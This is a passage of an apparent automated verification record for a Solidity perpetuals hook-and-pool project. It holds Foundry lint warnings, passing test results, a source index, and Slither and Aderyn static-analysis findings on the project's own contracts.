`nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:173:9\n    │\n173 │         nonReentrant\n    │         ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:187:9\n    │\n187 │         emit Opened(sqrtPriceX96, ethIn, tokensIn, liq);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:181:9\n    │\n181 │         poolManager.initialize(poolKey(), sqrtPriceX96);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:201:32\n    │\n201 │         if (msg.value > ethIn) SafeTransferLib.safeTransferETH(refundTo, msg.value - ethIn);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:203:9\n    │\n203 │         emit LiquidityAdded(msg.sender, liq, ethIn, tokensIn);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:222:9\n    │\n222 │         emit Compounded(liq, ethIn, tokensIn); // what the price could not pair stays here for next time\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:235:9\n    │\n235 │         IFeeSink(sink).addFees{value: msg.value}();\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:236:9\n    │\n236 │         emit FeesForwarded(msg.value);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:265:9\n    │\n265 │         emit FeeAddressRenounced(msg.sender);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpHook.sol:276:32\n    │\n276 │         if (toFeeAddress != 0) SafeTransferLib.safeTransferETH(feeAddress, toFeeAddress);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:277:9\n    │\n277 │         emit FeesFlushed(amount - toFeeAddress, toFeeAddress);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:255:21\n    │\n255 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:255:47\n    │\n255 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                               ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:255:55\n    │\n255 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                                       ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:256:73\n    │\n256 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                         ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:256:81\n    │\n256 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                                 ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:259:71\n    │\n259 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                       ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:259:79\n    │\n259 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:260:13\n    │\n260 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:262:60\n    │\n262 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                            ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:262:68\n    │\n262 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                                    ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n    ╭▸ src/IMD6900PerpHook.sol:467:43\n    │\n467 │               (bool ok, bytes memory out) = engine.call{gas: g - reserve}(\n    │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n468 │ ┃                 abi.encodeCall(IPerpSweep.sweepLiquidations, (tx.origin, spec, isBuy, limit))\n469 │ ┃             );\n    │ ┗━━━━━━━━━━━━━┛\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:289:60\n    │\n289 │         return l > type(uint128).max ? type(uint128).max : uint128(l);\n    │                                                            ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:293:24\n    │\n293 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                        ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:293:32\n    │\n293 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:293:47\n    │\n293 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:293:55\n    │\n293 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                                       ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":134,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFlow.fork.t.sol:RobinhoodFlowForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 347.55µs (0.00ns CPU time)\n\nRan 6 tests for test/AuditFixes.t.sol:AuditFixesTest\n[PASS] test_Fix_AdminGuards() (gas: 213420)\n[PASS] test_Fix_AnAdditionLeavesTheEarnedFeesInThePool() (gas: 2005629)\n[PASS] test_Fix_CompoundOnlyAtThePonsPrice() (gas: 390799)\n[PASS] test_Fix_LowGasSweepFailsClosed() (gas: 579858)\n[PASS] test_Fix_NoCrossingThroughPons() (gas: 468990)\n[PASS] test_Fix_UnreadablePonsLeavesTradingOpen() (gas: 448762)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 16.42ms (9.16ms CPU time)\n\nRan 7 tests for test/IMD6900Perps.t.sol:IMD6900PerpsTest\n[PASS] test_AnyoneDeepensIt() (gas: 273141)\n[PASS] test_OnlyTheOwnerOpensAndRemoves() (gas: 231731)\n[PASS] test_OnlyThePoolAddsLiquidity() (gas: 405772)\n[PASS] test_OpensAtThePrice() (gas: 53432)\n[PASS] test_PerpsOffUntilAnEngineIsSet() (gas: 11135)\n[PASS] test_RefusesToDriftFarFromPons() (gas: 185312)\n[PASS] test_TradesBothWays() (gas: 409054)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 20.39ms (1.16ms CPU time)\n\nRan 6 tests for test/IMD6900PerpsLaunch.t.sol:IMD6900PerpsLaunchTest\n[PASS] test_DeploysOnAFreshChain() (gas: 9761192)\n[PASS] test_EachDeployerMinesItsOwnSalt() (gas: 24135659)\n[PASS] test_FitsOneTransaction() (gas: 14670291)\nLogs:\n  launch gas (mining and intrinsic gas included): 9777411\n  hook salt: 41352\n\n[PASS] test_InsufficientGasCannotDeploy() (gas: 179987)\n[PASS] test_PassesTheAdmissionScan() (gas: 18293050)\n[PASS] test_RefusesADynamicFee() (gas: 4302)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 46.44ms (135.61ms CPU time)\n\nRan 15 tests for test/LaunchAuditFixes.t.sol:LaunchAuditFixesTest\n[PASS] testFuzz_FeeModelCannotDrift(uint256) (runs: 256, μ: 55079, ~: 55015)\n[PASS] testFuzz_SweepOnlyRecoversIdleBalances(uint96,uint112) (runs: 256, μ: 214863, ~: 215616)\n[PASS] test_ExemptAndEngineSwapsPayTheSameFee() (gas: 1097758)\n[PASS] test_FeeForwardingKeepsTheExistingSplitAndRenunciation() (gas: 132542)\n[PASS] test_FeeModelCompatibilitySettersRemainOwnerOnly() (gas: 74259)\n[PASS] test_FeeModelDerivesFromConstructorRate() (gas: 137203)\n[PASS] test_FeeModelMatchesStaticFeeAtLaunch() (gas: 46810)\n[PASS] test_IdleBalancesRecoverAfterMigrationOffPons() (gas: 830425)\n[PASS] test_OwnerCanAlwaysRemoveAllLiquidityDespiteBrokenEngine() (gas: 1076187)\n[PASS] test_SpotReferenceCanMoveWithinTheTransaction() (gas: 473859)\n[PASS] test_SweepBeforeOpeningAndWithOnlyOneAsset() (gas: 229734)\n[PASS] test_SweepRejectsFailedTokenTransfer() (gas: 102332)\n[PASS] test_SweepRejectsReentrancyByOwnerRecipient() (gas: 468276)\n[PASS] test_SweepRequiresOwnerAndNonzeroRecipients() (gas: 149723)\n[PASS] test_SweepRollsBackIfRecipientRejectsETH() (gas: 307721)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 47.06ms (66.61ms CPU time)\n\nRan 5 test suites in 47.94ms (130.65ms CPU time): 34 tests passed, 0 failed, 1 skipped (35 total tests)\n","passed":true},{"durationMs":55,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMD6900PerpHook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMD6900PerpHook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMD6900PerpHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"IMD6900PerpHook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMD6900PerpHook.cancelOwnershipHandover()\",\"IMD6900PerpHook.completeOwnershipHandover(address)\",\"IMD6900PerpHook.flush()\",\"IMD6900PerpHook.receive()\",\"IMD6900PerpHook.renounceFeeAddress()\",\"IMD6900PerpHook.renounceOwnership()\",\"IMD6900PerpHook.requestOwnershipHandover()\",\"IMD6900PerpHook.setBand(uint256)\",\"IMD6900PerpHook.setFeeExempt(address,bool)\",\"IMD6900PerpHook.setPerpEngine(address)\",\"IMD6900PerpHook.setPerpFeeBps(uint256)\",\"IMD6900PerpHook.setSweepFailOpen(bool)\",\"IMD6900PerpHook.transferOwnership(address)\",\"IMD6900PerpHook.updateFeeAddress(address)\",\"IMD6900PerpPool.addFees()\",\"IMD6900PerpPool.addLiquidity(uint256,address)\",\"IMD6900PerpPool.cancelOwnershipHandover()\",\"IMD6900PerpPool.completeOwnershipHandover(address)\",\"IMD6900PerpPool.compound(uint256,uint256)\",\"IMD6900PerpPool.open(address,address,uint160,uint256)\",\"IMD6900PerpPool.receive()\",\"IMD6900PerpPool.removeLiquidity(uint128,address,address)\",\"IMD6900PerpPool.renounceOwnership()\",\"IMD6900PerpPool.requestOwnershipHandover()\",\"IMD6900PerpPool.setCurve(address)\",\"IMD6900PerpPool.setFeeSink(address)\",\"IMD6900PerpPool.setHook(address)\",\"IMD6900PerpPool.setPerpEngine(address)\",\"IMD6900PerpPool.sweepIdle(address,address)\",\"IMD6900PerpPool.transferOwnership(address)\",\"IMD6900PerpPool.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"ADAPTATION.md\":100,\"README.md\":132,\"foundry.toml\":25,\"script/Owner.s.sol\":94,\"src/IMD6900PerpHook.sol\":492,\"src/IMD6900PerpPool.sol\":295,\"src/IMD6900PerpsLaunch.sol\":76,\"test/AuditFixes.t.sol\":153,\"test/IMD6900Perps.t.sol\":158,\"test/IMD6900PerpsLaunch.t.sol\":147,\"test/LaunchAuditFixes.t.sol\":338,\"test/RobinhoodFlow.fork.t.sol\":303},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":3172,"exitCode":0,"name":"slither","output":"[high/medium] arbitrary-send-eth at src/IMD6900PerpHook.sol:271: IMD6900PerpHook.flush() (src/IMD6900PerpHook.sol#271-278) sends eth to arbitrary user\n[medium/high] incorrect-equality at src/IMD6900PerpHook.sol:271: IMD6900PerpHook.flush() (src/IMD6900PerpHook.sol#271-278) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900PerpPool.sol:169: IMD6900PerpPool.open(address,address,uint160,uint256) (src/IMD6900PerpPool.sol#169-188) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900PerpPool.sol:211: IMD6900PerpPool.compound(uint256,uint256) (src/IMD6900PerpPool.sol#211-223) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900PerpPool.sol:194: IMD6900PerpPool.addLiquidity(uint256,address) (src/IMD6900PerpPool.sol#194-204) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900PerpPool.sol:280: IMD6900PerpPool._fullRangeLiquidity(uint160,uint256,uint256) (src/IMD6900PerpPool.sol#280-290) uses a dangerous strict equality:\n[medium/medium] unused-return at src/IMD6900PerpPool.sol:211: IMD6900PerpPool.compound(uint256,uint256) (src/IMD6900PerpPool.sol#211-223) ignores return value by (sqrtPriceX96,None,None,None) = poolManager.getSlot0(poolKey().toId()) (src/IMD6900PerpPool.sol#218)\n[medium/medium] unused-return at src/IMD6900PerpPool.sol:241: IMD6900PerpPool.unlockCallback(bytes) (src/IMD6900PerpPool.sol#241-268) ignores return value by poolManager.settle{value: uint256(uint128(- a0))}() (src/IMD6900PerpPool.sol#255)\n[medium/medium] unused-return at src/IMD6900PerpPool.sol:169: IMD6900PerpPool.open(address,address,uint160,uint256) (src/IMD6900PerpPool.sol#169-188) ignores return value by poolManager.initialize(poolKey(),sqrtPriceX96) (src/IMD6900PerpPool.sol#181)\n[medium/medium] unused-return at src/IMD6900PerpPool.sol:241: IMD6900PerpPool.unlockCallback(bytes) (src/IMD6900PerpPool.sol#241-268) ignores return value by poolManager.settle() (src/IMD6900PerpPool.sol#260)\n[medium/medium] unused-return at src/IMD6900PerpPool.sol:194: IMD6900PerpPool.addLiquidity(uint256,address) (src/IMD6900PerpPool.sol#194-204) ignores return value by (sqrtPriceX96,None,None,None) = poolManager.getSlot0(poolKey().toId()) (src/IMD6900PerpPool.sol#197)\n[medium/medium] unused-return at src/IMD6900PerpHook.sol:329: IMD6900PerpHook.poolPriceX96() (src/IMD6900PerpHook.sol#329-333) ignores return value by (sq,None,None,None) = poolManager.getSlot0(poolId) (src/IMD6900PerpHook.sol#330)\n[medium/medium] unused-return at src/IMD6900PerpHook.sol:308: IMD6900PerpHook._graduatedPriceX96(address) (src/IMD6900PerpHook.sol#308-326) ignores return value by (sq,None,None,None) = poolManager.getSlot0(key.toId()) (src/IMD6900PerpHook.sol#318)\n[low/medium] missing-zero-check at src/IMD6900PerpHook.sol:179: IMD6900PerpHook.constructor(IPoolManager,address,address,address,uint24).launcher_ (src/IMD6900PerpHook.sol#179) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpPool.sol:109: IMD6900PerpPool.setHook(address).hook_ (src/IMD6900PerpPool.sol#109) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpHook.sol:225: IMD6900PerpHook.setPerpEngine(address).engine (src/IMD6900PerpHook.sol#225) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpPool.sol:115: IMD6900PerpPool.setPerpEngine(address).engine (src/IMD6900PerpPool.sol#115) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpHook.sol:179: IMD6900PerpHook.constructor(IPoolManager,address,address,address,uint24).feeAddress_ (src/IMD6900PerpHook.sol#179) lacks a zero-check on :\n[low/medium] calls-loop at src/IMD6900PerpPool.sol:134: IMD6900PerpPool.removeLiquidity(uint128,address,address) (src/IMD6900PerpPool.sol#134-147) has external calls inside a loop: IPerpBookView(engine).isLiquidatable(ids[i]) (src/IMD6900PerpPool.sol#141)\n[low/medium] reentrancy-events at src/IMD6900PerpHook.sol:271: Reentrancy in IMD6900PerpHook.flush() (src/IMD6900PerpHook.sol#271-278):\n[low/medium] reentrancy-events at src/IMD6900PerpPool.sol:232: Reentrancy in IMD6900PerpPool.addFees() (src/IMD6900PerpPool.sol#232-237):\n[low/medium] return-bomb at src/IMD6900PerpHook.sol:461: IMD6900PerpHook._sweep(address,int256,bool,uint160) (src/IMD6900PerpHook.sol#461-488) tries to limit the gas of an external call that controls implicit decoding","passed":true},{"durationMs":472,"exitCode":0,"name":"aderyn","output":"[high] abi-encode-packed-hash-collision at src/IMD6900PerpsLaunch.sol:38: `abi.encodePacked()` Hash Collision\n[high] contract-locks-ether at src/IMD6900PerpHook.sol:97: Contract locks Ether without a withdraw function (2 places)\n[high] reentrancy-state-change at src/IMD6900PerpsLaunch.sol:47: Reentrancy: State change after external call (2 places)\n[high] reused-contract-name at src/IMD6900PerpHook.sol:72: Contract Name Reused in Different Files (2 places)\n[low] centralization-risk at src/IMD6900PerpHook.sol:97: Centralization Risk (18 places)\n[low] large-numeric-literal at src/IMD6900PerpHook.sol:101: Large Numeric Literal (3 places)\n[low] literal-instead-of-constant at src/IMD6900PerpHook.sol:184: Literal Instead of Constant (7 places)\n[low] non-reentrant-not-first at src/IMD6900PerpPool.sol:134: `nonReentrant` is Not the First Modifier (3 places)\n[low] push-zero-opcode at src/IMD6900PerpHook.sol:2: PUSH0 Opcode (3 places)\n[low] require-revert-in-loop at src/IMD6900PerpPool.sol:140: Loop Contains `require`/`revert`\n[low] state-no-address-check at src/IMD6900PerpHook.sol:187: Address State Variable Set Without Checks (4 places)\n[low] unchecked-return at src/IMD6900PerpPool.sol:181: Unchecked Return (2 places)\n[low] unspecific-solidity-pragma at src/IMD6900PerpHook.sol:2: Unspecific Solidity Pragma (3 places)\n[low] unused-error at src/IMD6900PerpHook.sol:164: Unused Error\n[low] unused-public-function at src/IMD6900PerpHook.sol:336: Public Function Not Used Internally (3 places)\n[low] unused-state-variable at src/IMD6900PerpHook.sol:140: Unused State Variable","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"4a9d36c4fb158284d90eaa5bf60e663134bbb61f0740e73c09d3dacb03b292a7","verifiedTreeHash":"77734f9f449301b29f6f5a41bb312af42fe9c068","verifierVersion":"0.1.0+fdeb4d4a"},{"checks":[{"durationMs":52899,"exitCode":0,"name":"build","output":"Compiling 90 files with Solc 0.8.26\nSolc 0.8.26 finished in 52.76s\nCompiler run successful!\nwarning[encode-packed-collision]: `abi.encodePacked()` called with multiple dynamic type arguments; hash collisions possible\n   ╭▸ src/IMD6900PerpsLaunch.sol:38:29\n   │\n38 │           bytes memory init = abi.encodePacked(\n   │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n39 │ ┃             type(IMD6900PerpHook).creationCode, abi.encode(poolManager, address(p), feeAddress, owner, poolFee)\n40 │ ┃         );\n   │ ┗━━━━━━━━━┛\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/encode-packed-collision\n\nwarning[uninitialized-local]: local variable is read before being initialized\n   ╭▸ src/IMD6900PerpsLaunch.sol:74:14\n   │\n74 │         if (!found) revert NoSalt();\n   │              ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:92:25\n   │\n92 │     function setFeeSink(address feeSink_) external onlyOwner {\n   │                         ━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/IMD6900PerpPool.sol:95:9\n   │\n95 │         emit FeeSinkSet(feeSink_);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:109:22\n    │\n109 │     function setHook(address hook_) external onlyOwner {\n    │                      ━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:112:9\n    │\n112 │         emit HookSet(hook_);\n    │         ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:115:28\n    │\n115 │     function setPerpEngine(address engine) external onlyOwner {\n    │                            ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:117:9\n    │\n117 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:124:9\n    │\n124 │         emit CurveSet(curve_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:144:9\n    │\n144 │         SafeTransferLib.safeTransferETH(ethTo, eth);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[missing-events-access-control]: `feeAddress` is changed without an event but is used for access control\n    ╭▸ src/IMD6900PerpHook.sol:264:9\n    │\n264 │         feeAddress = launcher;\n    │         ━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:134:95\n    │\n134 │     function removeLiquidity(uint128 liq, address ethTo, address tokensTo) external onlyOwner nonReentrant {\n    │                                                                                               ━━━━━━━━━━━━\n    │\n    ╰ help: 